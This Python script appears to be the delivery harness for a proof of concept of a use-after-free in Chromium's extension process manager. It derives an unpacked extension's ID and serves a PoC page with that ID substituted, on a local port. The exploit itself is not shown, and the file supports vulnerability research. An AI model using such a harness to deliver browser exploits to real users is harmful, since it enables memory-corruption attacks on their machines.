#!/usr/bin/env python3
"""HTTP server for the ProcessManager::CloseLazyBackgroundPageNow UAF POC.

Serves poc.html with the unpacked extension's ID substituted in. The extension
ID for an unpacked extension loaded via --load-extension is derived from the
absolute path of the extension directory (SHA-256 of the path, first 16 bytes,
mapped to the [a-p] alphabet).
"""

import hashlib
import http.server
import os
import socketserver
import sys

PORT = 8765
HERE = os.path.dirname(os.path.abspath(__file__))
EXT_DIR = os.path.join(HERE, "extension")


def compute_unpacked_extension_id(path: str) -> str:
    h = hashlib.sha256(path.encode("utf-8")).hexdigest()[:32]
    return "".join(chr(ord("a") + int(c, 16)) for c in h)


EXT_ID = os.environ.get("POC_EXT_ID") or compute_unpacked_extension_id(EXT_DIR)
print(f"[server] extension dir: {EXT_DIR}", file=sys.stderr)
print(f"[server] extension id:  {EXT_ID}", file=sys.stderr)


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def do_GET(self):
        if self.path.split("?", 1)[0] == "/poc.html":
            with open(os.path.join(HERE, "poc.html"), "r", encoding="utf-8") as fh:
                body = fh.read().replace("%%EXT_ID%%", EXT_ID).encode("utf-8")
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        return super().do_GET()

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s\n" % (fmt % args))


class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReusableTCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"[server] listening on http://127.0.0.1:{PORT}/poc.html",
              file=sys.stderr)
        httpd.serve_forever()
